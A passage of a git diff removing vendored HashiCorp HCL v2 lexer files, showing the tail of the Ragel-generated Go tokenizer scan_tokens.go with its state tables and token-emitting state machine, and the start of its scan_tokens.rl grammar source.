0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 5, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 5, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 5, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 5, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 5, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, -} - -var _hcltok_eof_trans []int16 = []int16{ - 0, 1, 1, 1, 6, 6, 6, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 419, - 419, 421, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 670, 670, 670, 670, 670, 670, 670, 670, - 767, 772, 772, 772, 773, 773, 775, 775, - 775, 779, 0, 0, 785, 785, 785, 789, - 0, 0, 795, 795, 797, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 795, 795, 795, - 795, 795, 795, 795, 795, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 1046, 1046, 1046, 1046, 1046, - 1046, 1046, 1046, 0, 1196, 1197, 1198, 1200, - 1198, 1198, 1198, 1203, 1198, 1198, 1198, 1209, - 1198, 1198, 1239, 1239, 1239, 1239, 1239, 1239, - 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, - 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, - 1239, 1239, 1239, 1239, 1239, 1239, 1239, 1239, - 1239, 1239, 1239, 1239, 1239, 0, 1392, 1394, - 1395, 1399, 1399, 1392, 1402, 1395, 1405, 1395, - 1407, 1407, 1407, 0, 1416, 1418, 1418, 1416, - 1416, 1423, 1425, 1427, 1427, 1427, 0, 1435, - 1437, 1437, 1435, 1435, 1442, 1444, 1446, 1446, - 1446, 0, 1483, 1511, 1511, 1511, 1511, 1511, - 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, - 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, - 1511, 1511, 1511, 1511, 1511, 1511, 1511, 1511, - 1511, 1511, 1511, 1511, 1511, 1511, -} - -const hcltok_start int = 1459 -const hcltok_first_final int = 1459 -const hcltok_error int = 0 - -const hcltok_en_stringTemplate int = 1509 -const hcltok_en_heredocTemplate int = 1523 -const hcltok_en_bareTemplate int = 1534 -const hcltok_en_identOnly int = 1545 -const hcltok_en_main int = 1459 - -//line scan_tokens.rl:16 - -func scanTokens(data []byte, filename string, start hcl.Pos, mode scanMode) []Token { - stripData := stripUTF8BOM(data) - start.Byte += len(data) - len(stripData) - data = stripData - - f := &tokenAccum{ - Filename: filename, - Bytes: data, - Pos: start, - StartByte: start.Byte, - } - -//line scan_tokens.rl:305 - - // Ragel state - p := 0 // "Pointer" into data - pe := len(data) // End-of-data "pointer" - ts := 0 - te := 0 - act := 0 - eof := pe - var stack []int - var top int - - var cs int // current state - switch mode { - case scanNormal: - cs = hcltok_en_main - case scanTemplate: - cs = hcltok_en_bareTemplate - case scanIdentOnly: - cs = hcltok_en_identOnly - default: - panic("invalid scanMode") - } - - braces := 0 - var retBraces []int // stack of brace levels that cause us to use fret - var heredocs []heredocInProgress // stack of heredocs we're currently processing - -//line scan_tokens.rl:340 - - // Make Go compiler happy - _ = ts - _ = te - _ = act - _ = eof - - token := func(ty TokenType) { - f.emitToken(ty, ts, te) - } - selfToken := func() { - b := data[ts:te] - if len(b) != 1 { - // should never happen - panic("selfToken only works for single-character tokens") - } - f.emitToken(TokenType(b[0]), ts, te) - } - -//line scan_tokens.go:4289 - { - top = 0 - ts = 0 - te = 0 - act = 0 - } - -//line scan_tokens.go:4297 - { - var _klen int - var _trans int - var _acts int - var _nacts uint - var _keys int - if p == pe { - goto _test_eof - } - if cs == 0 { - goto _out - } - _resume: - _acts = int(_hcltok_from_state_actions[cs]) - _nacts = uint(_hcltok_actions[_acts]) - _acts++ - for ; _nacts > 0; _nacts-- { - _acts++ - switch _hcltok_actions[_acts-1] { - case 3: -//line NONE:1 - ts = p - -//line scan_tokens.go:4320 - } - } - - _keys = int(_hcltok_key_offsets[cs]) - _trans = int(_hcltok_index_offsets[cs]) - - _klen = int(_hcltok_single_lengths[cs]) - if _klen > 0 { - _lower := int(_keys) - var _mid int - _upper := int(_keys + _klen - 1) - for { - if _upper < _lower { - break - } - - _mid = _lower + ((_upper - _lower) >> 1) - switch { - case data[p] < _hcltok_trans_keys[_mid]: - _upper = _mid - 1 - case data[p] > _hcltok_trans_keys[_mid]: - _lower = _mid + 1 - default: - _trans += int(_mid - int(_keys)) - goto _match - } - } - _keys += _klen - _trans += _klen - } - - _klen = int(_hcltok_range_lengths[cs]) - if _klen > 0 { - _lower := int(_keys) - var _mid int - _upper := int(_keys + (_klen << 1) - 2) - for { - if _upper < _lower { - break - } - - _mid = _lower + (((_upper - _lower) >> 1) & ^1) - switch { - case data[p] < _hcltok_trans_keys[_mid]: - _upper = _mid - 2 - case data[p] > _hcltok_trans_keys[_mid+1]: - _lower = _mid + 2 - default: - _trans += int((_mid - int(_keys)) >> 1) - goto _match - } - } - _trans += _klen - } - - _match: - _trans = int(_hcltok_indicies[_trans]) - _eof_trans: - cs = int(_hcltok_trans_targs[_trans]) - - if _hcltok_trans_actions[_trans] == 0 { - goto _again - } - - _acts = int(_hcltok_trans_actions[_trans]) - _nacts = uint(_hcltok_actions[_acts]) - _acts++ - for ; _nacts > 0; _nacts-- { - _acts++ - switch _hcltok_actions[_acts-1] { - case 0: -//line scan_tokens.rl:224 - p-- - - case 4: -//line NONE:1 - te = p + 1 - - case 5: -//line scan_tokens.rl:248 - act = 4 - case 6: -//line scan_tokens.rl:250 - act = 6 - case 7: -//line scan_tokens.rl:160 - te = p + 1 - { - token(TokenTemplateInterp) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 8: -//line scan_tokens.rl:170 - te = p + 1 - { - token(TokenTemplateControl) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 9: -//line scan_tokens.rl:84 - te = p + 1 - { - token(TokenCQuote) - top-- - cs = stack[top] - { - stack = stack[:len(stack)-1] - } - goto _again - - } - case 10: -//line scan_tokens.rl:248 - te = p + 1 - { - token(TokenQuotedLit) - } - case 11: -//line scan_tokens.rl:251 - te = p + 1 - { - token(TokenBadUTF8) - } - case 12: -//line scan_tokens.rl:160 - te = p - p-- - { - token(TokenTemplateInterp) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 13: -//line scan_tokens.rl:170 - te = p - p-- - { - token(TokenTemplateControl) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 14: -//line scan_tokens.rl:248 - te = p - p-- - { - token(TokenQuotedLit) - } - case 15: -//line scan_tokens.rl:249 - te = p - p-- - { - token(TokenQuotedNewline) - } - case 16: -//line scan_tokens.rl:250 - te = p - p-- - { - token(TokenInvalid) - } - case 17: -//line scan_tokens.rl:251 - te = p - p-- - { - token(TokenBadUTF8) - } - case 18: -//line scan_tokens.rl:248 - p = (te) - 1 - { - token(TokenQuotedLit) - } - case 19: -//line scan_tokens.rl:251 - p = (te) - 1 - { - token(TokenBadUTF8) - } - case 20: -//line NONE:1 - switch act { - case 4: - { - p = (te) - 1 - token(TokenQuotedLit) - } - case 6: - { - p = (te) - 1 - token(TokenInvalid) - } - } - - case 21: -//line scan_tokens.rl:148 - act = 11 - case 22: -//line scan_tokens.rl:259 - act = 12 - case 23: -//line scan_tokens.rl:160 - te = p + 1 - { - token(TokenTemplateInterp) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 24: -//line scan_tokens.rl:170 - te = p + 1 - { - token(TokenTemplateControl) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 25: -//line scan_tokens.rl:111 - te = p + 1 - { - // This action is called specificially when a heredoc literal - // ends with a newline character. - - // This might actually be our end marker. - topdoc := &heredocs[len(heredocs)-1] - if topdoc.StartOfLine { - maybeMarker := bytes.TrimSpace(data[ts:te]) - if bytes.Equal(maybeMarker, topdoc.Marker) { - // We actually emit two tokens here: the end-of-heredoc - // marker first, and then separately the newline that - // follows it. This then avoids issues with the closing - // marker consuming a newline that would normally be used - // to mark the end of an attribute definition. - // We might have either a \n sequence or an \r\n sequence - // here, so we must handle both. - nls := te - 1 - nle := te - te-- - if data[te-1] == '\r' { - // back up one more byte - nls-- - te-- - } - token(TokenCHeredoc) - ts = nls - te = nle - token(TokenNewline) - heredocs = heredocs[:len(heredocs)-1] - top-- - cs = stack[top] - { - stack = stack[:len(stack)-1] - } - goto _again - - } - } - - topdoc.StartOfLine = true - token(TokenStringLit) - } - case 26: -//line scan_tokens.rl:259 - te = p + 1 - { - token(TokenBadUTF8) - } - case 27: -//line scan_tokens.rl:160 - te = p - p-- - { - token(TokenTemplateInterp) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 28: -//line scan_tokens.rl:170 - te = p - p-- - { - token(TokenTemplateControl) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 29: -//line scan_tokens.rl:148 - te = p - p-- - { - // This action is called when a heredoc literal _doesn't_ end - // with a newline character, e.g. because we're about to enter - // an interpolation sequence. - heredocs[len(heredocs)-1].StartOfLine = false - token(TokenStringLit) - } - case 30: -//line scan_tokens.rl:259 - te = p - p-- - { - token(TokenBadUTF8) - } - case 31: -//line scan_tokens.rl:148 - p = (te) - 1 - { - // This action is called when a heredoc literal _doesn't_ end - // with a newline character, e.g. because we're about to enter - // an interpolation sequence. - heredocs[len(heredocs)-1].StartOfLine = false - token(TokenStringLit) - } - case 32: -//line NONE:1 - switch act { - case 0: - { - cs = 0 - goto _again - } - case 11: - { - p = (te) - 1 - - // This action is called when a heredoc literal _doesn't_ end - // with a newline character, e.g. because we're about to enter - // an interpolation sequence. - heredocs[len(heredocs)-1].StartOfLine = false - token(TokenStringLit) - } - case 12: - { - p = (te) - 1 - token(TokenBadUTF8) - } - } - - case 33: -//line scan_tokens.rl:156 - act = 15 - case 34: -//line scan_tokens.rl:266 - act = 16 - case 35: -//line scan_tokens.rl:160 - te = p + 1 - { - token(TokenTemplateInterp) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 36: -//line scan_tokens.rl:170 - te = p + 1 - { - token(TokenTemplateControl) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 37: -//line scan_tokens.rl:156 - te = p + 1 - { - token(TokenStringLit) - } - case 38: -//line scan_tokens.rl:266 - te = p + 1 - { - token(TokenBadUTF8) - } - case 39: -//line scan_tokens.rl:160 - te = p - p-- - { - token(TokenTemplateInterp) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 40: -//line scan_tokens.rl:170 - te = p - p-- - { - token(TokenTemplateControl) - braces++ - retBraces = append(retBraces, braces) - if len(heredocs) > 0 { - heredocs[len(heredocs)-1].StartOfLine = false - } - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1459 - goto _again - } - } - case 41: -//line scan_tokens.rl:156 - te = p - p-- - { - token(TokenStringLit) - } - case 42: -//line scan_tokens.rl:266 - te = p - p-- - { - token(TokenBadUTF8) - } - case 43: -//line scan_tokens.rl:156 - p = (te) - 1 - { - token(TokenStringLit) - } - case 44: -//line NONE:1 - switch act { - case 0: - { - cs = 0 - goto _again - } - case 15: - { - p = (te) - 1 - - token(TokenStringLit) - } - case 16: - { - p = (te) - 1 - token(TokenBadUTF8) - } - } - - case 45: -//line scan_tokens.rl:270 - act = 17 - case 46: -//line scan_tokens.rl:271 - act = 18 - case 47: -//line scan_tokens.rl:271 - te = p + 1 - { - token(TokenBadUTF8) - } - case 48: -//line scan_tokens.rl:272 - te = p + 1 - { - token(TokenInvalid) - } - case 49: -//line scan_tokens.rl:270 - te = p - p-- - { - token(TokenIdent) - } - case 50: -//line scan_tokens.rl:271 - te = p - p-- - { - token(TokenBadUTF8) - } - case 51: -//line scan_tokens.rl:270 - p = (te) - 1 - { - token(TokenIdent) - } - case 52: -//line scan_tokens.rl:271 - p = (te) - 1 - { - token(TokenBadUTF8) - } - case 53: -//line NONE:1 - switch act { - case 17: - { - p = (te) - 1 - token(TokenIdent) - } - case 18: - { - p = (te) - 1 - token(TokenBadUTF8) - } - } - - case 54: -//line scan_tokens.rl:278 - act = 22 - case 55: -//line scan_tokens.rl:301 - act = 39 - case 56: -//line scan_tokens.rl:280 - te = p + 1 - { - token(TokenComment) - } - case 57: -//line scan_tokens.rl:281 - te = p + 1 - { - token(TokenNewline) - } - case 58: -//line scan_tokens.rl:283 - te = p + 1 - { - token(TokenEqualOp) - } - case 59: -//line scan_tokens.rl:284 - te = p + 1 - { - token(TokenNotEqual) - } - case 60: -//line scan_tokens.rl:285 - te = p + 1 - { - token(TokenGreaterThanEq) - } - case 61: -//line scan_tokens.rl:286 - te = p + 1 - { - token(TokenLessThanEq) - } - case 62: -//line scan_tokens.rl:287 - te = p + 1 - { - token(TokenAnd) - } - case 63: -//line scan_tokens.rl:288 - te = p + 1 - { - token(TokenOr) - } - case 64: -//line scan_tokens.rl:289 - te = p + 1 - { - token(TokenEllipsis) - } - case 65: -//line scan_tokens.rl:290 - te = p + 1 - { - token(TokenFatArrow) - } - case 66: -//line scan_tokens.rl:291 - te = p + 1 - { - selfToken() - } - case 67: -//line scan_tokens.rl:180 - te = p + 1 - { - token(TokenOBrace) - braces++ - } - case 68: -//line scan_tokens.rl:185 - te = p + 1 - { - if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { - token(TokenTemplateSeqEnd) - braces-- - retBraces = retBraces[0 : len(retBraces)-1] - top-- - cs = stack[top] - { - stack = stack[:len(stack)-1] - } - goto _again - - } else { - token(TokenCBrace) - braces-- - } - } - case 69: -//line scan_tokens.rl:197 - te = p + 1 - { - // Only consume from the retBraces stack and return if we are at - // a suitable brace nesting level, otherwise things will get - // confused. (Not entering this branch indicates a syntax error, - // which we will catch in the parser.) - if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { - token(TokenTemplateSeqEnd) - braces-- - retBraces = retBraces[0 : len(retBraces)-1] - top-- - cs = stack[top] - { - stack = stack[:len(stack)-1] - } - goto _again - - } else { - // We intentionally generate a TokenTemplateSeqEnd here, - // even though the user apparently wanted a brace, because - // we want to allow the parser to catch the incorrect use - // of a ~} to balance a generic opening brace, rather than - // a template sequence. - token(TokenTemplateSeqEnd) - braces-- - } - } - case 70: -//line scan_tokens.rl:79 - te = p + 1 - { - token(TokenOQuote) - { - stack = append(stack, 0) - stack[top] = cs - top++ - cs = 1509 - goto _again - } - } - case 71: -//line scan_tokens.rl:89 - te = p + 1 - { - token(TokenOHeredoc) - // the token is currently the whole heredoc introducer, like - // < 0; _nacts-- { - _acts++ - switch _hcltok_actions[_acts-1] { - case 1: -//line NONE:1 - ts = 0 - - case 2: -//line NONE:1 - act = 0 - -//line scan_tokens.go:5073 - } - } - - if cs == 0 { - goto _out - } - p++ - if p != pe { - goto _resume - } - _test_eof: - { - } - if p == eof { - if _hcltok_eof_trans[cs] > 0 { - _trans = int(_hcltok_eof_trans[cs] - 1) - goto _eof_trans - } - } - - _out: - { - } - } - -//line scan_tokens.rl:363 - - // If we fall out here without being in a final state then we've - // encountered something that the scanner can't match, which we'll - // deal with as an invalid. - if cs < hcltok_first_final { - if mode == scanTemplate && len(stack) == 0 { - // If we're scanning a bare template then any straggling - // top-level stuff is actually literal string, rather than - // invalid. This handles the case where the template ends - // with a single "$" or "%", which trips us up because we - // want to see another character to decide if it's a sequence - // or an escape. - f.emitToken(TokenStringLit, ts, len(data)) - } else { - f.emitToken(TokenInvalid, ts, len(data)) - } - } - - // We always emit a synthetic EOF token at the end, since it gives the - // parser position information for an "unexpected EOF" diagnostic. - f.emitToken(TokenEOF, len(data), len(data)) - - return f.Tokens -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_tokens.rl b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_tokens.rl deleted file mode 100644 index 942ad92ba1..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_tokens.rl +++ /dev/null @@ -1,395 +0,0 @@ - -package hclsyntax - -import ( - "bytes" - - "github.com/hashicorp/hcl/v2" -) - -// This file is generated from scan_tokens.rl. DO NOT EDIT. -%%{ - # (except when you are actually in scan_tokens.rl here, so edit away!) - - machine hcltok; - write data; -}%% - -func scanTokens(data []byte, filename string, start hcl.Pos, mode scanMode) []Token { - stripData := stripUTF8BOM(data) - start.Byte += len(data) - len(stripData) - data = stripData - - f := &tokenAccum{ - Filename: filename, - Bytes: data, - Pos: start, - StartByte: start.Byte, - } - - %%{ - include UnicodeDerived "unicode_derived.rl"; - - UTF8Cont = 0x80 .. 0xBF; - AnyUTF8 = ( - 0x00..0x7F | - 0xC0..0xDF . UTF8Cont | - 0xE0..0xEF . UTF8Cont . UTF8Cont | - 0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont - ); - BrokenUTF8 = any - AnyUTF8; - - NumberLitContinue = (digit|'.'|('e'|'E') ('+'|'-')? digit); - NumberLit = digit ("" | (NumberLitContinue - '.') | (NumberLitContinue* (NumberLitContinue - '.'))); - Ident = (ID_Start | '_') (ID_Continue | '-')*; - - # Symbols that just represent themselves are handled as a single rule. - SelfToken = "[" | "]" | "(" | ")" | "." | "," | "*" | "/" | "%" | "+" | "-" | "=" | "<" | ">" | "!" | "?" | ":" | "\n" | "&" | "|" | "~" | "^" | ";" | "`" | "'"; - - EqualOp = "=="; - NotEqual = "!="; - GreaterThanEqual = ">="; - LessThanEqual = "<="; - LogicalAnd = "&&"; - LogicalOr = "||"; - - Ellipsis = "..."; - FatArrow = "=>"; - - Newline = '\r' ? '\n'; - EndOfLine = Newline; - - BeginStringTmpl = '"'; - BeginHeredocTmpl = '<<' ('-')? Ident Newline; - - Comment = ( - # The :>> operator in these is a "finish-guarded concatenation", - # which terminates the sequence on its left when it completes - # the sequence on its right. - # In the single-line comment cases this is allowing us to make - # the trailing EndOfLine optional while still having the overall - # pattern terminate. In the multi-line 